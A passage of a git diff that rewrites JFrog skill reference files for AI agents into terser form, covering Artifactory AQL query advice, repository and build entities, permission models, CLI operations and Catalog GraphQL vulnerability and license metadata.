fetch all rows and sort client-side. -2. **Always set `.limit()`** — no built-in default limit; unbounded queries - can time out or OOM. Broad queries without a `repo` filter are especially - expensive. -3. **`range.total` = returned count, not total matching** — AQL has no - count-only mode. To find the true total, paginate with `.offset()` until - a page returns fewer results than the limit. -4. **AQL has no repo-type field** — to restrict to local repos, either - pre-query `GET /api/repositories?type=local` and add repo names to - criteria (practical when count is small), or query without a repo filter - and exclude `-cache` / `-virtual` suffixed repos client-side with `jq`. +Checks before writing AQL: + +1. **Never `.sort()` without a `repo` filter** — full table scan. Sort + client-side with `jq`. Cross-domain sort fields (e.g. `stat.downloads` in + `items.find()`) are silently ignored — fetch all + sort client-side. +2. **Always `.limit()`** — no default; unbounded queries can time out / OOM. + Broad queries without `repo` are especially expensive. +3. **`range.total` = returned count, not total matching** — no count-only + mode. True total → paginate `.offset()` until a page returns fewer than + the limit. +4. **No repo-type field** — local-only: pre-query + `GET /api/repositories?type=local` and add names to criteria (small lists), + or query without repo filter and drop `-cache`/`-virtual` via `jq`. 5. **Narrow server-side first** — add every applicable filter (`created_by`, - `created`, `type`, `name`) before relying on client-side `jq` filtering. + `created`, `type`, `name`) before client-side `jq`. ## Common query patterns @@ -488,8 +431,8 @@ items.find({"repo":"my-repo","size":{"$gt":"104857600"},"type":"file"}) ### Find Maven SNAPSHOT JARs -Use `*-SNAPSHOT*.jar` (not `*-SNAPSHOT.jar`) to also match classifier -artifacts like `-sources.jar` and `-javadoc.jar`: +Use `*-SNAPSHOT*.jar` (not `*-SNAPSHOT.jar`) to also match classifiers +(`-sources.jar`, `-javadoc.jar`): ``` items.find({"repo":"libs-snapshot","name":{"$match":"*-SNAPSHOT*.jar"},"type":"file"}) @@ -505,9 +448,9 @@ items.find({"repo":"my-repo","modified":{"$last":"7d"},"type":"file"}) ### Docker queries -Use `"name":"manifest.json"` to **list tags** (one per tag). Use -`"name":{"$match":"*manifest.json"}` to **query all manifests** (includes -`list.manifest.json` for multi-arch tags — see [Gotchas](#gotchas)). +`"name":"manifest.json"` → **list tags** (one per tag). +`"name":{"$match":"*manifest.json"}` → **all manifests** (includes +`list.manifest.json` for multi-arch — see [Gotchas](#gotchas)). ``` items.find({"repo":"docker-local","path":{"$match":"my-image/*"},"name":"manifest.json"}) @@ -523,18 +466,16 @@ jf api "/artifactory/api/docker//v2//manifests/" \ -H "Accept: application/vnd.docker.distribution.manifest.v2+json" ``` -For multi-arch images the response is an image index; fetch each platform -manifest by digest to get its layers. +For multi-arch: response is an image index — fetch each platform manifest +by digest for layers. ### Find artifacts with a specific property -``` -items.find({"repo":"my-repo","@build.name":"my-build","type":"file"}) -``` +See [Property queries](#property-queries) (`@key` shorthand and explicit form). ### Find never-downloaded files (zero download count) -Zero-download items lack a stats row — filter client-side instead +Zero-download items lack a stats row — filter client-side (see [Gotchas](#gotchas)): ```bash @@ -547,8 +488,8 @@ items.find({"repo":"my-repo","type":"file"}) ### Find artifacts not downloaded in 90 days -Only matches previously-downloaded items (see [Gotchas](#gotchas)). -Combine with the never-downloaded pattern above for full coverage. +Only previously-downloaded items (see [Gotchas](#gotchas)). Combine with +never-downloaded pattern above for full coverage. ``` items.find({ @@ -569,8 +510,7 @@ items.find({"artifact.module.build.name":"my-service"}) ### Find builds by name -Non-admin users must include `name`, `number`, `repo` — omitting any -produces an error. +Non-admin must include `name`, `number`, `repo` — omit any → error. ``` builds.find({"name":{"$match":"*my-service*"}}) @@ -595,8 +535,8 @@ dependencies.find({"module.build.name":"my-service","module.build.number":"42"}) ### Remote repository content -Remote repo artifacts are stored in a `-cache` suffixed repo. Always query -the cache repo, not the remote repo itself: +Remote artifacts live in a `-cache` suffixed repo. Query the cache, not the +remote itself: ``` items.find({"repo":"npm-remote-cache","name":{"$match":"*.tgz"}}) @@ -644,13 +584,13 @@ repo name you queried. ## Official documentation -- [Artifactory Query Language](https://docs.jfrog.com/artifactory/docs/artifactory-query-language) — overview and architecture -- [Query Structure and Syntax](https://docs.jfrog.com/artifactory/docs/aql-syntax) — domain queries, field references, JSON-like syntax rules -- [Search Criteria and Operators](https://docs.jfrog.com/artifactory/docs/aql-search-criteria) — comparators, wildcards, `$msp`, relative time -- [AQL Entities and Fields Reference](https://docs.jfrog.com/artifactory/docs/aql-entities-fields-reference) — complete field list for all domains -- [Query Output and Modifiers](https://docs.jfrog.com/artifactory/docs/aql-query-output) — `.include()`, `.sort()`, `.offset()`, `.limit()`, `.distinct()` -- [Query Execution and Permissions](https://docs.jfrog.com/artifactory/docs/aql-query-execution) — authentication, scoped tokens, HTTP errors, streaming -- [AQL Examples and Common Patterns](https://docs.jfrog.com/artifactory/docs/aql-examples) — ready-to-use queries by use case -- [Repository-Specific Queries](https://docs.jfrog.com/artifactory/docs/aql-repository-queries) — `.transitive()`, virtual repos, remote search -- [Performance and Operational Controls](https://docs.jfrog.com/artifactory/docs/aql-performance) — result limits, timeouts, rate limiting, optimization +- https://docs.jfrog.com/artifactory/docs/artifactory-query-language +- https://docs.jfrog.com/artifactory/docs/aql-syntax +- https://docs.jfrog.com/artifactory/docs/aql-search-criteria +- https://docs.jfrog.com/artifactory/docs/aql-entities-fields-reference +- https://docs.jfrog.com/artifactory/docs/aql-query-output +- https://docs.jfrog.com/artifactory/docs/aql-query-execution +- https://docs.jfrog.com/artifactory/docs/aql-examples +- https://docs.jfrog.com/artifactory/docs/aql-repository-queries +- https://docs.jfrog.com/artifactory/docs/aql-performance diff --git a/skills/jfrog/references/artifactory-entities.md b/skills/jfrog/references/artifactory-entities.md index 1e4d950..59e650b 100644 --- a/skills/jfrog/references/artifactory-entities.md +++ b/skills/jfrog/references/artifactory-entities.md @@ -2,44 +2,39 @@ When to read this file: -- Working with **repositories** and you need to understand the difference between local, remote, virtual, and federated types. +- Working with **repositories** — need local/remote/virtual/federated type differences. - Managing **artifacts**, **properties**, or **package types**. - Working with **builds**, **build promotion**, or **permission targets**. -- Debugging unexpected behavior related to repo types (e.g. upload failures, missing search results). +- Debugging repo-type issues (e.g. upload failures, missing search results). -For CLI commands see `artifactory-operations.md`. For API gaps see -`artifactory-api-gaps.md`. For AQL syntax see `artifactory-aql-syntax.md`. +CLI: `artifactory-operations.md`. API gaps: `artifactory-api-gaps.md`. AQL: `artifactory-aql-syntax.md`. ## Repositories -A repository is the primary storage and resolution unit in Artifactory. Every -repo has a **key** (unique identifier), a **package type** (immutable after -creation), and a **repository class** (`rclass`) that determines its behavior. +Repository = primary storage/resolution unit in Artifactory. Each repo has **key** (unique id), **package type** (immutable after creation), **repository class** (`rclass`) determining behavior. ### Repository types | Type | `rclass` | Behavior | Stores artifacts? | |------|----------|----------|-------------------| | **Local** | `local` | Hosts artifacts deployed directly (upload, promote, copy, move) | Yes | -| **Remote** | `remote` | Proxies an external URL; downloads are cached in a companion `-cache` repo | Only in the `-cache` repo | -| **Virtual** | `virtual` | Aggregates multiple local and remote repos under a single URL for resolution | No (resolves from underlying repos) | -| **Federated** | `federated` | Local repo that bi-directionally synchronizes across Platform Deployments | Yes (replicated across sites) | +| **Remote** | `remote` | Proxies external URL; downloads cached in companion `-cache` repo | Only in `-cache` repo | +| **Virtual** | `virtual` | Aggregates local + remote repos under single URL for resolution | No (resolves from underlying repos) | +| **Federated** | `federated` | Local repo bi-directionally syncs across Platform Deployments | Yes (replicated across sites) | ### Key relationships and fields - `key` — unique repo identifier (e.g. `libs-release-local`) -- `packageType` — determines layout and protocol (see Package types below) +- `packageType` — layout + protocol (see Package types below) - `rclass` — `local`, `remote`, `virtual`, or `federated` -- `url` — (remote only) the external source URL being proxied +- `url` — (remote only) external source URL being proxied - `repositories` — (virtual only) ordered list of local/remote repos to aggregate -- `projectKey` — links repo to a JFrog Project (see `platform-access-entities.md`) -- `environments` — environments the repo is assigned to (used in RBAC and lifecycle) +- `projectKey` — links repo to JFrog Project (see `platform-access-entities.md`) +- `environments` — repo environment assignment (RBAC + lifecycle) ### System repositories -Artifactory and Xray maintain several **system repositories** for internal -platform metadata. These are not user-created and should be excluded when -iterating over repositories for reporting, scanning, or auditing: +Artifactory + Xray maintain **system repositories** for internal platform metadata. Not user-created — exclude when iterating repos for reporting, scanning, or auditing: | Pattern | Purpose | |---------|---------| @@ -51,34 +46,23 @@ iterating over repositories for reporting, scanning, or auditing: | `*-build-info` | Project-scoped build info storage | | `*-application-versions` | AppTrust application version metadata | -Including these in aggregate queries (violation counts, storage reports, etc.) -produces misleading results because they contain platform metadata rather than -user artifacts. +Including these in aggregate queries (violation counts, storage reports, etc.) produces misleading results — platform metadata, not user artifacts. ### Remote repository cache -When Artifactory downloads an artifact through a remote repo, it stores the -cached copy in a **separate local repo** named `-cache`. This is -critical for: +When Artifactory downloads via remote repo, cached copy stored in **separate local repo** named `-cache`. Critical for: -- **AQL queries** — search the `-cache` repo, not the remote repo key -- **Properties** — properties on cached artifacts live on the `-cache` repo -- **Storage calculations** — cached artifacts consume storage under the `-cache` repo +- **AQL queries** — search `-cache` repo, not remote repo key +- **Properties** — cached artifact properties live on `-cache` repo +- **Storage calculations** — cached artifacts consume storage under `-cache` repo -The remote repo key itself is used for **configuration** (URL, credentials, -inclusion/exclusion patterns) but does not directly contain artifacts. +Remote repo key used for **configuration** (URL, credentials, inclusion/exclusion patterns) — does not directly contain artifacts. ### Virtual repository resolution -A virtual repo aggregates **both local and remote repos** under a single URL. -It resolves artifacts by searching its underlying repos in the configured -**order** — when the same artifact exists in multiple underlying repos, the -first match wins. +Virtual repo aggregates **local + remote repos** under single URL. Resolves by searching underlying repos in configured **order** — same artifact in multiple repos → first match wins. -A virtual repo may designate one of its underlying **local** repos as the -**default deployment repository**. Uploads through the virtual URL are routed -to that local repo. Without a default deployment repo, the virtual repo is -read-only. +Virtual repo may designate underlying **local** repo as **default deployment repository**. Uploads through virtual URL routed there. Without default deployment repo → read-only. ```mermaid erDiagram @@ -90,65 +74,56 @@ erDiagram ## Artifacts -An artifact is a file stored in a repository. Each artifact is uniquely -identified by the triple **repo + path + name**. +Artifact = file in repository. Uniquely identified by **repo + path + name**. Key attributes: - `repo`, `path`, `name` — location identifier - `size` — bytes -- `sha256`, `sha1`, `md5` — checksums (sha256 is the primary identifier for cross-referencing with builds and Xray) +- `sha256`, `sha1`, `md5` — checksums (build-info records all three; Xray cross-references by sha256, AQL item↔build joins by sha1) - `created`, `modified`, `created_by`, `modified_by` — audit fields -Artifacts are **content-addressable** — build info and Xray reference them by -checksum, not by path. Moving or copying an artifact changes its path but not -its checksum, so build associations follow the artifact. +Artifacts are **content-addressable** — build info + Xray reference by checksum, not path. Move/copy changes path, not checksum → build associations follow artifact. ## Properties -Key-value metadata pairs attached to artifacts or folders. +Key-value metadata on artifacts or folders. -- Keys are strings; values are strings or arrays of strings -- Set via `jf rt set-props`, queried via AQL or the properties API -- Commonly used for: build metadata, maturity labels, promotion tracking, cleanup policies -- Properties on remote-cached artifacts live on the `-cache` repo +- Keys = strings; values = strings or string arrays +- Set via `jf rt set-props`, query via AQL or properties API +- Common uses: build metadata, maturity labels, promotion tracking, cleanup policies +- Remote-cached artifact properties live on `-cache` repo ## Package types -The `packageType` field on a repository determines how Artifactory interprets -its contents. It controls directory structure conventions, metadata extraction, -and which client protocols are supported (e.g. Docker registry API, npm -registry, Maven layout). +`packageType` on repo determines how Artifactory interprets contents — directory layout, metadata extraction, client protocols (Docker registry API, npm registry, Maven layout). Common types: `maven`, `gradle`, `npm`, `docker`, `pypi`, `nuget`, `go`, `helm`, `rpm`, `debian`, `generic`. -Package type is **immutable** — it cannot be changed after repo creation. Use -`generic` when no specific package type applies. +Package type **immutable** — cannot change after repo creation. Use `generic` when no specific type applies. ## Build info -A build info record captures CI/CD metadata: which artifacts were produced, -which dependencies were consumed, and the build environment. +Build info record captures CI/CD metadata: produced artifacts, consumed dependencies, build environment. | Field | Description | |-------|-------------| -| `name` + `number` | Unique identifier for a build run | -| `modules` | List of modules, each with its own artifacts and dependencies | -| `vcs` | Version control metadata (revision, URL, branch) | +| `name` + `number` | Unique build run identifier | +| `modules` | Modules, each with artifacts + dependencies | +| `vcs` | VCS metadata (revision, URL, branch) | | `buildAgent`, `agent` | CI tool info | | `properties` | Custom build-level properties | -Build info references artifacts **by checksum** (sha256). This means: -- A build can reference artifacts across multiple repositories -- Moving an artifact does not break the build association -- Xray scans build info by resolving checksums to components +Build info references artifacts **by checksum** (AQL item↔build joins by sha1; Xray cross-references by sha256): +- Build can reference artifacts across multiple repos +- Moving artifact does not break build association +- Xray scans build info by resolving checksums → components Lifecycle: collect → publish → (optionally) promote → (optionally) scan. ## Build promotion -Promotion changes a build's **status** and can copy or move its artifacts -from a source repo to a target repo. +Promotion changes build **status**; can copy/move artifacts from source repo → target repo. | Field | Description | |-------|-------------| @@ -157,18 +132,15 @@ from a source repo to a target repo. | `targetRepo` | Where artifacts should be moved/copied | | `copy` | If `true`, copy instead of move | -Promotion records are queryable via AQL (`build.promotions` domain) and the -build promotion API. +Promotion records queryable via AQL (`build.promotions` domain) + build promotion API. ## Permissions -Permissions define RBAC policies mapping **resources** and **principals** -(users and groups) to **actions**. Two models exist: +Permissions = RBAC policies mapping **resources** + **principals** (users, groups) → **actions**. Two models: ### Permissions V2 (Access Permissions) — current model -Managed by the **Access service** (since Artifactory 7.72.0, recommended from -7.77.2). Supports all resource types. +**Access service** (since 7.72.0, recommended 7.77.2+). All resource types. | Component | Description | |-----------|-------------| @@ -179,11 +151,11 @@ Resource types: `artifact` (repositories), `build`, `release_bundle`, `destination` (Edge nodes), `pipeline_source`. Each resource contains: -- `targets` — map of target names/patterns to include/exclude patterns -- `actions.users` — map of username → list of actions -- `actions.groups` — map of group name → list of actions +- `targets` — target names/patterns → include/exclude patterns +- `actions.users` — username → action list +- `actions.groups` — group name → action list -Actions use uppercase: `READ`, `ANNOTATE`, `DEPLOY/CACHE`, `DELETE/OVERWRITE`, +Actions uppercase: `READ`, `ANNOTATE`, `DEPLOY/CACHE`, `DELETE/OVERWRITE`, `MANAGE_XRAY_METADATA`, `MANAGE`. API: `POST/PUT/GET/DELETE /access/api/v2/permissions/{permissionName}`. @@ -192,17 +164,15 @@ Documentation: [Permissions](https://docs.jfrog.com/administration/docs/permissi ### Permission targets (V1) — legacy model -Managed by **Artifactory**. Still functional and backwards compatible, but -V2 is recommended for new implementations. The CLI `jf rt permission-target-*` -commands use this API. +**Artifactory**-managed. Functional + backwards compatible; prefer V2 for new work. CLI: `jf rt permission-target-*`. | Component | Description | |-----------|-------------| -| `repositories` | List of repo keys or patterns | -| `actions.users` | Map of username → list of actions | -| `actions.groups` | Map of group name → list of actions | +| `repositories` | Repo keys or patterns | +| `actions.users` | Username → action list | +| `actions.groups` | Group name → action list | -Actions use lowercase: `read`, `write`, `annotate`, `delete`, `manage`. +Actions lowercase: `read`, `write`, `annotate`, `delete`, `manage`. Does **not** support `destination` or `pipeline_source` resource types. @@ -219,18 +189,15 @@ API: `PUT /artifactory/api/security/permissions/{permissionName}`. | Pattern fields | `includes_pattern` / `excludes_pattern` | `include_patterns` / `exclude_patterns` | | CLI support | `jf rt permission-target-*` | No direct CLI commands (use REST) | -For project-scoped RBAC, see Project roles in `platform-access-entities.md`. +Project-scoped RBAC: see Project roles in `platform-access-entities.md`. ## Replication -Replication synchronizes artifacts and properties between repositories, either -within the same instance or across Platform Deployments. +Replication syncs artifacts + properties between repos — same instance or across Platform Deployments. | Type | Direction | Trigger | |------|-----------|---------| -| **Push** | Source pushes to target | Scheduled or event-based | -| **Pull** | Target pulls from source | Scheduled | +| **Push** | Source → target | Scheduled or event-based | +| **Pull** | Target ← source | Scheduled | -Replication configs are JSON templates applied per repository. Both artifact -content and properties are replicated. For federated repos, replication is -automatic and bi-directional across all member nodes. +Replication configs = JSON templates per repository. Both artifact content + properties replicated. Federated repos → automatic bi-directional replication across member nodes. diff --git a/skills/jfrog/references/artifactory-operations.md b/skills/jfrog/references/artifactory-operations.md index bab2b65..771584b 100644 --- a/skills/jfrog/references/artifactory-operations.md +++ b/skills/jfrog/references/artifactory-operations.md @@ -1,22 +1,20 @@ # Artifactory Operations -CLI commands for managing Artifactory resources. All commands use the `jf rt` -namespace. Run `jf rt --help` to discover subcommands not listed here. +CLI for Artifactory resources — `jf rt` namespace. Run `jf rt --help` for subcommands not listed here. ## Repository management -Repositories are created from JSON templates. The workflow is: +Repos from JSON templates: -1. Get a template: retrieve an existing repo config via +1. Get template: existing config via `jf api /artifactory/api/repositories/` - and modify it, or craft JSON manually. + and modify, or craft JSON manually. Note: `jf rt repo-template` is interactive and cannot be used by agents. 2. Create: `jf rt repo-create ` 3. Update: `jf rt repo-update ` 4. Delete: `jf rt repo-delete --quiet` -To list repositories, use: -`jf api /artifactory/api/repositories` +List: `jf api /artifactory/api/repositories` ## File operations @@ -31,12 +29,12 @@ To list repositories, use: ### Searching across repositories -`jf rt search` expects a `/` argument. When the repo is unknown, -agents tend to use a leading wildcard (`jf rt search "*/path/..."`), which -generates an unscoped AQL internally and can time out on large instances. +`jf rt search` expects `/`. When repo unknown, agents often use +leading wildcard (`jf rt search "*/path/..."`) → unscoped AQL internally → +timeouts on large instances. -Use a direct AQL query with `name` and `path` criteria instead — omitting the -`repo` field searches all accessible repos via indexed columns: +Use direct AQL with `name` and `path` — omitting `repo` searches all accessible +repos via indexed columns: ```bash jf api /artifactory/api/search/aql \ @@ -47,21 +45,16 @@ jf api /artifactory/api/search/aql \ }).include("repo","path","name","size","sha256")' ``` -Add `"repo":""` to the criteria when the target repo is known, to -narrow the search further. +Add `"repo":""` when target repo is known. ## Build info -**Project scoping rule:** Append `?project=` to **every** build detail -API call. When the user provides a project key, use it. When no project key -is provided, use `?project=default` (the built-in default project that covers -the `artifactory-build-info` repo). For AQL queries, scope by -`"repo":"-build-info"` (or `"repo":"artifactory-build-info"` for -the default project). +**Project scoping:** `?project=` on **every** build detail call. User key +→ use it; else `?project=default`. AQL: `"repo":"-build-info"` or +`"repo":"artifactory-build-info"` for default. -**Server rule:** A 404 from a `?project=` build call is **not** a signal -to try a different server. Use only the resolved server; on any failure, -report and stop. See `SKILL.md` § *Server selection rules*. +**Server rule:** 404 on `?project=` ≠ try another server. Resolved server +only; on failure report and stop. See `SKILL.md` § *Server selection rules*. ### Publishing builds @@ -73,8 +66,8 @@ report and stop. See `SKILL.md` § *Server selection rules*. ### Listing build names -**Do not use `GET /api/build`** — it has no pagination and times out on large -instances. Always use AQL with `limit` and `offset`. +**Do not use `GET /api/build`** — no pagination; times out on large instances. +Always AQL with `limit` and `offset`. **All builds** (no project scope): @@ -84,9 +77,8 @@ jf api /artifactory/api/search/aql \ -d 'builds.find().include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -**Project-scoped** — filter by the project's build-info repository -(`-build-info`, or `artifactory-build-info` for the default -project): +**Project-scoped** — filter by build-info repo +(`-build-info`, or `artifactory-build-info` for default project): ```bash jf api /artifactory/api/search/aql \ @@ -94,19 +86,14 @@ jf api /artifactory/api/search/aql \ -d 'builds.find({"repo":"-build-info"}).include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -**Pagination:** The response includes a `range` object with `total` (total -matching records). If `total` exceeds the `limit`, tell the user: *"Showing +**Pagination:** `range.total` vs `limit` → if exceeded, tell user: *"Showing first 100 of N results (paginated). Ask for the next batch if needed."* -For subsequent pages, increment `offset` by 100. +Increment `offset` by 100 per page. -**Output rule (mandatory):** AQL returns one row per name+number pair. -Extract **unique build names** client-side (e.g. -`jq '[.[].builds.name] | unique'`). Present **only the deduplicated list of -build names** to the user. **Do not** include build numbers, timestamps, run -counts, or any per-run details in the response — not even as a "bonus" or -"most recent" table. The user is asking "what builds exist", not "what runs -happened". Only show run-level details if the user explicitly asks for them -in a follow-up. +**Output rule (mandatory):** AQL = one row per name+number. Extract **unique +build names** client-side (e.g. `jq '[.results[].builds.name] | unique'`). Present +**only deduplicated names** — no numbers, timestamps, run counts, or per-run +details (not even "bonus"/"most recent" table). Run details only if explicitly requested. ### Listing runs of a specific build @@ -116,35 +103,29 @@ jf api /artifactory/api/search/aql \ -d 'builds.find({"name":""}).include("name","number","repo","created").sort({"$desc":["created"]}).offset(0).limit(100)' ``` -Add `"repo":"-build-info"` to the criteria when a project key -is known. Apply the same pagination rules as above. +Add `"repo":"-build-info"` when project key known. Same pagination rules. ### Retrieving full build info -Use the REST detail endpoint for a **single** build run. Always include -`?project=` (or `?project=default` when no key is provided): +REST detail endpoint for a **single** run. Always include `?project=` +(or `?project=default` when no key): ```bash jf api "/artifactory/api/build//?project=" ``` -This is the only `/api/build` endpoint that should be used — it returns a -single record and does not need pagination. +Only `/api/build` endpoint to use — single record, no pagination. ### When a build is not found -If the detail call returns 404, the build likely belongs to a different -project. **Ask the user for the project key** rather than searching across -repos or servers. +404 on detail call → build likely in different project. **Ask user for project +key** — do not search across repos or servers. ### Repository listing vs build-info `GET /artifactory/api/repositories?project=&type=buildinfo` may return -an empty list even when project-scoped build info exists (for example under -a `*-build-info` repository). Prefer AQL to -discover builds; do not treat an empty repository -list as proof that no -builds exist. +empty list even when project-scoped build info exists (e.g. under `*-build-info`). +Prefer AQL to discover builds; empty repository list ≠ no builds. ## Permissions @@ -164,7 +145,7 @@ Note: `jf rt permission-target-template` is interactive. - Delete group: `jf rt group-delete ` - Add users to group: `jf rt group-add-users ` -To get user details or update users, use `jf api`: +User details/update via `jf api`: ``` jf api /access/api/v2/users/ ``` diff --git a/skills/jfrog/references/catalog-entities.md b/skills/jfrog/references/catalog-entities.md index 085bea0..f8e9a87 100644 --- a/skills/jfrog/references/catalog-entities.md +++ b/skills/jfrog/references/catalog-entities.md @@ -3,40 +3,36 @@ When to read this file: - Querying **public package metadata** (descriptions, vulnerabilities, licenses, operational info). -- Working with the **Custom Catalog** (org-specific labels, package views, federation). -- Looking up **vulnerability details** beyond what Xray provides (advisories, EPSS, CWE, known exploits). +- Working with **Custom Catalog** (org-specific labels, package views, federation). +- Looking up **vulnerability details** beyond Xray (advisories, EPSS, CWE, known exploits). - Querying **OpenSSF scorecards**, **ML model metadata**, or **MCP service** registries. -- Using the OneModel GraphQL API with `publicPackages`, `customPackages`, +- Using OneModel GraphQL with `publicPackages`, `customPackages`, `publicSecurityInfo`, `publicLegalInfo`, `publicOperationalInfo`, `publicCatalogLabels`, or `publicRemoteServices` query roots. -Catalog entities are accessed via the **OneModel GraphQL API** -(`/onemodel/api/v1/graphql`). +Catalog entities via **OneModel GraphQL API** (`/onemodel/api/v1/graphql`). -For the OneModel query workflow (credentials, schema fetch, validation, -execution), read `references/onemodel-graphql.md`. +OneModel query workflow (credentials, schema fetch, validation, execution): `references/onemodel-graphql.md`. ## Two catalog layers | Layer | Scope | Description | |-------|-------|-------------| -| **Public Catalog** | Global | JFrog's curated package database — security, legal, and operational metadata for public packages across ecosystems | -| **Custom Catalog** | Organization | Org-specific overlay — custom labels, per-org package views, federation config | +| **Public Catalog** | Global | JFrog global package DB — security, legal, operational metadata across ecosystems | +| **Custom Catalog** | Organization | Org overlay: custom labels, per-org views, federation config | -The Custom Catalog builds on top of the Public Catalog. A public package -can be enriched with org-specific labels and metadata through the Custom -Catalog without altering the underlying public data. +Custom Catalog overlays Public Catalog — org labels/metadata without changing public data. ## Public Catalog entities ### PublicPackage -A package as known to JFrog's global package database. +Package in JFrog global package database. | Field | Description | |-------|-------------| -| `name` | Package name (e.g. `lodash`, `spring-boot-starter-web`) | -| `type` | Package type (e.g. `npm`, `maven`, `pypi`) | +| `name` | Package name (`lodash`, `spring-boot-starter-web`) | +| `type` | Package type (`npm`, `maven`, `pypi`) | | `ecosystem` | Ecosystem identifier | | `description` | Rich-text description | | `homepage`, `vcsUrl` | Package URLs | @@ -53,12 +49,12 @@ Query: `publicPackages.searchPackages(where: {...})`. ### PublicPackageVersion -A specific version with security, legal, and operational analysis. +Specific version with security, legal, operational analysis. | Field | Description | |-------|-------------| | `version` | Version string | -| `isLatest` | Whether this is the latest version | +| `isLatest` | Whether latest version | | `isListedVersion` | Whether visible in Catalog UI | | `publishedAt`, `modifiedAt` | Timestamps | | `trendingScore` | Version-level popularity | @@ -72,76 +68,71 @@ Each version carries three info blocks: ### PublicVulnerability -Vulnerability data richer than what Xray violations expose. Useful for -deep-dive security analysis and advisory lookups. +Richer vulnerability data than Xray violations — deep-dive analysis + advisory lookups. | Field | Description | |-------|-------------| -| `name` | CVE identifier (e.g. `CVE-2021-44228`) | +| `name` | CVE id (`CVE-2021-44228`) | | `ecosystem` | Affected ecosystem | | `severity` | `CRITICAL`, `HIGH`, `MEDIUM`, `LOW` | | `description` | Detailed impact description | | `cvss` | CVSS scores — v2, v3, **and v4** | -| `epss` | EPSS (Exploit Prediction Scoring System) — exploit likelihood | -| `knownExploit` | Known exploit information | -| `withdrawn` | Whether the CVE has been retracted | +| `epss` | EPSS exploit likelihood | +| `knownExploit` | Known exploit info | +| `withdrawn` | CVE retracted | | `aliases` | Alternative identifiers | | `references` | Advisory URLs | | `publishedAt`, `modifiedAt` | Timestamps | -Advisory sources (via `advisories` connection): -- **NVD** — NIST National Vulnerability Database +Advisory sources (`advisories` connection): +- **NVD** — NIST vulnerability DB - **GHSA** — GitHub Security Advisory -- **JFrog Advisory** — JFrog's own research (includes impact reasons) +- **JFrog Advisory** — JFrog research (impact reasons) - **Debian Security Tracker** - **RedHat OVAL** Additional connections: `cwesConnection` (CWE entries), `cpesConnection` -(CPE entries), `publicPackageInfo` (affected packages and versions). +(CPE entries), `publicPackageInfo` (affected packages + versions). Query: `publicSecurityInfo.searchVulnerabilities(where: {...})`. #### Filtering limitations -`searchVulnerabilities` can filter by CVE name, ecosystem, severity, CVSS, -EPSS, known exploit status, and publication date — but **not** by affected -package name. There is no `hasPublicPackageInfoWith` or similar filter on -`PublicVulnerabilityWhereInput`. To find vulnerabilities affecting a specific -package, use one of these alternatives: +`searchVulnerabilities` filters by CVE name, ecosystem, severity, CVSS, +EPSS, known exploit status, publication date — but **not** by affected +package name. No `hasPublicPackageInfoWith` or similar filter on +`PublicVulnerabilityWhereInput`. To find vulnerabilities affecting specific +package, use alternatives: - **Version-level security info** (GraphQL): query - `publicPackages.getPackage(type, name)` and navigate to - `versionsConnection → securityInfo → vulnerabilitiesConnection` to get + `publicPackages.getPackage(type, name)` → + `versionsConnection → securityInfo → vulnerabilitiesConnection` for CVEs affecting specific versions. -- **Individual CVE lookup**: use `searchVulnerabilities(where: { name: "" })` - and inspect `publicPackageInfo.vulnerablePublicPackagesConnection` on the +- **Individual CVE lookup**: `searchVulnerabilities(where: { name: "" })` + → inspect `publicPackageInfo.vulnerablePublicPackagesConnection` on `generic` ecosystem entry. #### Ecosystem multiplicity -A single CVE appears as multiple `PublicVulnerability` entries — one per -ecosystem. The `ecosystem` field determines which entry you see: +Single CVE → multiple `PublicVulnerability` entries (one per ecosystem). `ecosystem` field determines entry: | Ecosystem | Contains | |-----------|----------| -| `generic` | Non-OS package-level data (npm, maven, pypi, go, etc.) — includes `publicPackageInfo` with vulnerable versions and fix versions | -| `debian`, `redhat`, `ubuntu`, etc. | OS-specific advisory data — severity may differ from NVD; `publicPackageInfo` is typically empty (OS packages are tracked separately) | +| `generic` | Non-OS package-level data (npm, maven, pypi, go, etc.) — includes `publicPackageInfo` with vulnerable + fix versions | +| `debian`, `redhat`, `ubuntu`, etc. | OS-specific advisory data — severity may differ from NVD; `publicPackageInfo` typically empty (OS packages tracked separately) | -When looking up a CVE by name, `searchVulnerabilities(where: { name: "" })` -returns all ecosystem entries. To get affected packages and fix versions for -libraries like npm or maven, filter for or focus on the `generic` ecosystem -entry. `getVulnerability` requires both `name` and `ecosystem` — use -`searchVulnerabilities` when the ecosystem is unknown. +CVE lookup by name: `searchVulnerabilities(where: { name: "" })` +returns all ecosystem entries. For npm/maven library affected packages + fix versions → filter/focus on `generic` entry. `getVulnerability` requires `name` + `ecosystem` — use `searchVulnerabilities` when ecosystem unknown. ### PublicLicense -License metadata with permission, condition, and limitation details. +License metadata with permission, condition, limitation details. | Field | Description | |-------|-------------| -| `name` | License name (e.g. `Apache-2.0`, `MIT`) | +| `name` | License name (`Apache-2.0`, `MIT`) | | `spdxId` | SPDX identifier | -| `permissions` | What the license permits | +| `permissions` | What license permits | | `limitations` | Restrictions imposed | | `patentConditions` | Patent grant conditions | | `noticeFiles` | Required notices | @@ -150,23 +141,23 @@ Query: `publicLegalInfo.searchLicenses(where: {...})`. ### PublicPackageOperationalInfo -Operational risk assessment for packages and versions. +Operational risk assessment for packages + versions. | Entity | Key data | |--------|----------| -| **OpenSSF scorecard** | Overall score, individual checks with scores and pass/fail | -| **End-of-life** | Whether the package or version is EOL, justification | -| **Popularity** | JFrog popularity by segment and subscription tier, download counts | +| **OpenSSF scorecard** | Overall score + check scores/pass-fail | +| **End-of-life** | Package/version EOL status + justification | +| **Popularity** | JFrog popularity by segment/tier, download counts | ### MCP services and tools -The Public Catalog also indexes MCP (Model Context Protocol) services: +Public Catalog also indexes MCP (Model Context Protocol) services: | Entity | Description | |--------|-------------| -| `PublicMcpService` | An MCP service with name, description, version | -| `PublicMcpTool` | A tool exposed by an MCP service with arguments | -| `PublicMcpRemote` | Remote MCP server configuration | +| `PublicMcpService` | MCP service: name, description, version | +| `PublicMcpTool` | MCP service tool + arguments | +| `PublicMcpRemote` | Remote MCP server config | Query: `publicRemoteServices.searchMcpServices(where: {...})`. @@ -174,7 +165,7 @@ Query: `publicRemoteServices.searchMcpServices(where: {...})`. ### CustomPackage -A package in the organization's private catalog view. +Package in org private catalog view. | Field | Description | |-------|-------------| @@ -188,27 +179,25 @@ Connections: `versionsConnection`, `legalInfo`, ### CustomCatalogLabel -Organization-defined labels for categorizing packages. +Org-defined labels for categorizing packages. | Field | 